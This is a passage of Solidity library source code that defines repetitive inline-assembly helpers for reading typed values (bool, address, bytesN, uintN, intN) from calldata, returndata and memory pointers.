CalldataPointer cdPtr\n ) internal pure returns (int8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int16 at `cdPtr` in calldata.\n function readInt16(\n CalldataPointer cdPtr\n ) internal pure returns (int16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int24 at `cdPtr` in calldata.\n function readInt24(\n CalldataPointer cdPtr\n ) internal pure returns (int24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int32 at `cdPtr` in calldata.\n function readInt32(\n CalldataPointer cdPtr\n ) internal pure returns (int32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int40 at `cdPtr` in calldata.\n function readInt40(\n CalldataPointer cdPtr\n ) internal pure returns (int40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int48 at `cdPtr` in calldata.\n function readInt48(\n CalldataPointer cdPtr\n ) internal pure returns (int48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int56 at `cdPtr` in calldata.\n function readInt56(\n CalldataPointer cdPtr\n ) internal pure returns (int56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int64 at `cdPtr` in calldata.\n function readInt64(\n CalldataPointer cdPtr\n ) internal pure returns (int64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int72 at `cdPtr` in calldata.\n function readInt72(\n CalldataPointer cdPtr\n ) internal pure returns (int72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int80 at `cdPtr` in calldata.\n function readInt80(\n CalldataPointer cdPtr\n ) internal pure returns (int80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int88 at `cdPtr` in calldata.\n function readInt88(\n CalldataPointer cdPtr\n ) internal pure returns (int88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int96 at `cdPtr` in calldata.\n function readInt96(\n CalldataPointer cdPtr\n ) internal pure returns (int96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int104 at `cdPtr` in calldata.\n function readInt104(\n CalldataPointer cdPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int112 at `cdPtr` in calldata.\n function readInt112(\n CalldataPointer cdPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int120 at `cdPtr` in calldata.\n function readInt120(\n CalldataPointer cdPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int128 at `cdPtr` in calldata.\n function readInt128(\n CalldataPointer cdPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int136 at `cdPtr` in calldata.\n function readInt136(\n CalldataPointer cdPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int144 at `cdPtr` in calldata.\n function readInt144(\n CalldataPointer cdPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int152 at `cdPtr` in calldata.\n function readInt152(\n CalldataPointer cdPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int160 at `cdPtr` in calldata.\n function readInt160(\n CalldataPointer cdPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int168 at `cdPtr` in calldata.\n function readInt168(\n CalldataPointer cdPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int176 at `cdPtr` in calldata.\n function readInt176(\n CalldataPointer cdPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int184 at `cdPtr` in calldata.\n function readInt184(\n CalldataPointer cdPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int192 at `cdPtr` in calldata.\n function readInt192(\n CalldataPointer cdPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int200 at `cdPtr` in calldata.\n function readInt200(\n CalldataPointer cdPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int208 at `cdPtr` in calldata.\n function readInt208(\n CalldataPointer cdPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int216 at `cdPtr` in calldata.\n function readInt216(\n CalldataPointer cdPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int224 at `cdPtr` in calldata.\n function readInt224(\n CalldataPointer cdPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int232 at `cdPtr` in calldata.\n function readInt232(\n CalldataPointer cdPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int240 at `cdPtr` in calldata.\n function readInt240(\n CalldataPointer cdPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int248 at `cdPtr` in calldata.\n function readInt248(\n CalldataPointer cdPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int256 at `cdPtr` in calldata.\n function readInt256(\n CalldataPointer cdPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n}\n\nlibrary ReturndataReaders {\n /// @dev Reads value at `rdPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n value = rdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `rdPtr` in returndata.\n function readBool(\n ReturndataPointer rdPtr\n ) internal pure returns (bool value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the address at `rdPtr` in returndata.\n function readAddress(\n ReturndataPointer rdPtr\n ) internal pure returns (address value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes1 at `rdPtr` in returndata.\n function readBytes1(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes2 at `rdPtr` in returndata.\n function readBytes2(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes3 at `rdPtr` in returndata.\n function readBytes3(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes4 at `rdPtr` in returndata.\n function readBytes4(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes5 at `rdPtr` in returndata.\n function readBytes5(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes6 at `rdPtr` in returndata.\n function readBytes6(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes7 at `rdPtr` in returndata.\n function readBytes7(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes8 at `rdPtr` in returndata.\n function readBytes8(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes9 at `rdPtr` in returndata.\n function readBytes9(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes10 at `rdPtr` in returndata.\n function readBytes10(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes11 at `rdPtr` in returndata.\n function readBytes11(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes12 at `rdPtr` in returndata.\n function readBytes12(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes13 at `rdPtr` in returndata.\n function readBytes13(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes14 at `rdPtr` in returndata.\n function readBytes14(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes15 at `rdPtr` in returndata.\n function readBytes15(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes16 at `rdPtr` in returndata.\n function readBytes16(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes17 at `rdPtr` in returndata.\n function readBytes17(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes18 at `rdPtr` in returndata.\n function readBytes18(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes19 at `rdPtr` in returndata.\n function readBytes19(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes20 at `rdPtr` in returndata.\n function readBytes20(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes21 at `rdPtr` in returndata.\n function readBytes21(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes22 at `rdPtr` in returndata.\n function readBytes22(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes23 at `rdPtr` in returndata.\n function readBytes23(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes24 at `rdPtr` in returndata.\n function readBytes24(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes25 at `rdPtr` in returndata.\n function readBytes25(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes26 at `rdPtr` in returndata.\n function readBytes26(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes27 at `rdPtr` in returndata.\n function readBytes27(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes28 at `rdPtr` in returndata.\n function readBytes28(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes29 at `rdPtr` in returndata.\n function readBytes29(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes30 at `rdPtr` in returndata.\n function readBytes30(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes31 at `rdPtr` in returndata.\n function readBytes31(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes32 at `rdPtr` in returndata.\n function readBytes32(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint8 at `rdPtr` in returndata.\n function readUint8(\n ReturndataPointer rdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint16 at `rdPtr` in returndata.\n function readUint16(\n ReturndataPointer rdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint24 at `rdPtr` in returndata.\n function readUint24(\n ReturndataPointer rdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint32 at `rdPtr` in returndata.\n function readUint32(\n ReturndataPointer rdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint40 at `rdPtr` in returndata.\n function readUint40(\n ReturndataPointer rdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint48 at `rdPtr` in returndata.\n function readUint48(\n ReturndataPointer rdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint56 at `rdPtr` in returndata.\n function readUint56(\n ReturndataPointer rdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint64 at `rdPtr` in returndata.\n function readUint64(\n ReturndataPointer rdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint72 at `rdPtr` in returndata.\n function readUint72(\n ReturndataPointer rdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint80 at `rdPtr` in returndata.\n function readUint80(\n ReturndataPointer rdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint88 at `rdPtr` in returndata.\n function readUint88(\n ReturndataPointer rdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint96 at `rdPtr` in returndata.\n function readUint96(\n ReturndataPointer rdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint104 at `rdPtr` in returndata.\n function readUint104(\n ReturndataPointer rdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint112 at `rdPtr` in returndata.\n function readUint112(\n ReturndataPointer rdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint120 at `rdPtr` in returndata.\n function readUint120(\n ReturndataPointer rdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint128 at `rdPtr` in returndata.\n function readUint128(\n ReturndataPointer rdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint136 at `rdPtr` in returndata.\n function readUint136(\n ReturndataPointer rdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint144 at `rdPtr` in returndata.\n function readUint144(\n ReturndataPointer rdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint152 at `rdPtr` in returndata.\n function readUint152(\n ReturndataPointer rdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint160 at `rdPtr` in returndata.\n function readUint160(\n ReturndataPointer rdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint168 at `rdPtr` in returndata.\n function readUint168(\n ReturndataPointer rdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint176 at `rdPtr` in returndata.\n function readUint176(\n ReturndataPointer rdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint184 at `rdPtr` in returndata.\n function readUint184(\n ReturndataPointer rdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint192 at `rdPtr` in returndata.\n function readUint192(\n ReturndataPointer rdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint200 at `rdPtr` in returndata.\n function readUint200(\n ReturndataPointer rdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint208 at `rdPtr` in returndata.\n function readUint208(\n ReturndataPointer rdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint216 at `rdPtr` in returndata.\n function readUint216(\n ReturndataPointer rdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint224 at `rdPtr` in returndata.\n function readUint224(\n ReturndataPointer rdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint232 at `rdPtr` in returndata.\n function readUint232(\n ReturndataPointer rdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint240 at `rdPtr` in returndata.\n function readUint240(\n ReturndataPointer rdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint248 at `rdPtr` in returndata.\n function readUint248(\n ReturndataPointer rdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint256 at `rdPtr` in returndata.\n function readUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int8 at `rdPtr` in returndata.\n function readInt8(\n ReturndataPointer rdPtr\n ) internal pure returns (int8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int16 at `rdPtr` in returndata.\n function readInt16(\n ReturndataPointer rdPtr\n ) internal pure returns (int16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int24 at `rdPtr` in returndata.\n function readInt24(\n ReturndataPointer rdPtr\n ) internal pure returns (int24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int32 at `rdPtr` in returndata.\n function readInt32(\n ReturndataPointer rdPtr\n ) internal pure returns (int32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int40 at `rdPtr` in returndata.\n function readInt40(\n ReturndataPointer rdPtr\n ) internal pure returns (int40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int48 at `rdPtr` in returndata.\n function readInt48(\n ReturndataPointer rdPtr\n ) internal pure returns (int48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int56 at `rdPtr` in returndata.\n function readInt56(\n ReturndataPointer rdPtr\n ) internal pure returns (int56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int64 at `rdPtr` in returndata.\n function readInt64(\n ReturndataPointer rdPtr\n ) internal pure returns (int64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int72 at `rdPtr` in returndata.\n function readInt72(\n ReturndataPointer rdPtr\n ) internal pure returns (int72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int80 at `rdPtr` in returndata.\n function readInt80(\n ReturndataPointer rdPtr\n ) internal pure returns (int80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int88 at `rdPtr` in returndata.\n function readInt88(\n ReturndataPointer rdPtr\n ) internal pure returns (int88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int96 at `rdPtr` in returndata.\n function readInt96(\n ReturndataPointer rdPtr\n ) internal pure returns (int96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int104 at `rdPtr` in returndata.\n function readInt104(\n ReturndataPointer rdPtr\n ) internal pure returns (int104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int112 at `rdPtr` in returndata.\n function readInt112(\n ReturndataPointer rdPtr\n ) internal pure returns (int112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int120 at `rdPtr` in returndata.\n function readInt120(\n ReturndataPointer rdPtr\n ) internal pure returns (int120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int128 at `rdPtr` in returndata.\n function readInt128(\n ReturndataPointer rdPtr\n ) internal pure returns (int128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int136 at `rdPtr` in returndata.\n function readInt136(\n ReturndataPointer rdPtr\n ) internal pure returns (int136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int144 at `rdPtr` in returndata.\n function readInt144(\n ReturndataPointer rdPtr\n ) internal pure returns (int144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int152 at `rdPtr` in returndata.\n function readInt152(\n ReturndataPointer rdPtr\n ) internal pure returns (int152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int160 at `rdPtr` in returndata.\n function readInt160(\n ReturndataPointer rdPtr\n ) internal pure returns (int160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int168 at `rdPtr` in returndata.\n function readInt168(\n ReturndataPointer rdPtr\n ) internal pure returns (int168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int176 at `rdPtr` in returndata.\n function readInt176(\n ReturndataPointer rdPtr\n ) internal pure returns (int176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int184 at `rdPtr` in returndata.\n function readInt184(\n ReturndataPointer rdPtr\n ) internal pure returns (int184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int192 at `rdPtr` in returndata.\n function readInt192(\n ReturndataPointer rdPtr\n ) internal pure returns (int192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int200 at `rdPtr` in returndata.\n function readInt200(\n ReturndataPointer rdPtr\n ) internal pure returns (int200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int208 at `rdPtr` in returndata.\n function readInt208(\n ReturndataPointer rdPtr\n ) internal pure returns (int208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int216 at `rdPtr` in returndata.\n function readInt216(\n ReturndataPointer rdPtr\n ) internal pure returns (int216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int224 at `rdPtr` in returndata.\n function readInt224(\n ReturndataPointer rdPtr\n ) internal pure returns (int224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int232 at `rdPtr` in returndata.\n function readInt232(\n ReturndataPointer rdPtr\n ) internal pure returns (int232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int240 at `rdPtr` in returndata.\n function readInt240(\n ReturndataPointer rdPtr\n ) internal pure returns (int240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int248 at `rdPtr` in returndata.\n function readInt248(\n ReturndataPointer rdPtr\n ) internal pure returns (int248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int256 at `rdPtr` in returndata.\n function readInt256(\n ReturndataPointer rdPtr\n ) internal pure returns (int256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n}\n\nlibrary MemoryReaders {\n /// @dev Reads the memory pointer at `mPtr` in memory.\n function readMemoryPointer(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads value at `mPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n value = mPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `mPtr` in memory.\n function readBool(MemoryPointer mPtr) internal pure returns (bool value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the address at `mPtr` in memory.\n function readAddress(\n MemoryPointer mPtr\n ) internal pure returns (address value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `mPtr` in memory.\n function readBytes1(\n MemoryPointer mPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `mPtr` in memory.\n function readBytes2(\n MemoryPointer mPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := mload(mPtr)\n 